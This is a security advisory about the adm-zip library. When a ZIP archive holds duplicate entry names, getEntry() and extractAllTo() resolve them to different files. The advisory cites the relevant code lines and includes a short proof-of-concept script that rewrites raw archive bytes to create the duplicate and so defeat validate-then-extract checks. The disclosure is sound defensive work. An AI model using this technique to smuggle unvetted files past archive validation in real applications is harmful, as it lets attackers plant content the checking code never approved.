adm-zip: Duplicate ZIP entry names: getEntry() and extractAllTo() resolve to different content — adm-zip
Interpretation ConflictSummary
A ZIP file can contain two entries with the identical name. adm-zip keeps both in its internal entry list, but its name-lookup table only retains the last one written. getEntry(name) and extractAllTo() walk these two different internal structures, so they can each resolve a duplicate name to a different entry. An application that validates a named entry's contents via getEntry() before trusting an archive, then extracts the whole archive, can end up approving one file's content while a different file's bytes are what actually land on disk under that name.
Details
zipFile.js:58-83retains both entries inentryListbut overwritesentryTable[name]with only the last one written.adm-zip.js:83-95,658-663usesentryTableforgetEntry()lookups — returns the last duplicate.adm-zip.js:769-914iteratesentryListfor extraction — writes the first duplicate (sync, default overwrite policy).
PoC
const AdmZip = require('adm-zip');
const z = new AdmZip({ noSort: true });
z.addFile('a.txt', Buffer.from('FIRST'));
z.addFile('b.txt', Buffer.from('SECOND'));
const raw = Buffer.from(z.toBuffer());
// rename the a.txt entry to b.txt directly in the raw bytes
for (let at = raw.indexOf('a.txt'); at >= 0; at = raw.indexOf('a.txt', at + 5)) {
raw.write('b.txt', at);
}
const parsed = new AdmZip(raw, { noSort: true });
const validated = parsed.getEntry('b.txt').getData().toString();
parsed.extractAllTo(outDir, false);
// validated === "SECOND", but the file written to disk === "FIRST"
Reproduced on the pinned commit (2b4d84087d45344643e0183756e19191d52815cc)
Impact
An application that checks a named entry's content before trusting an untrusted ZIP, then extracts it, can be made to approve different bytes than what actually gets written to disk — the classic check/use split that this kind of validate-then-extract pattern relies on.
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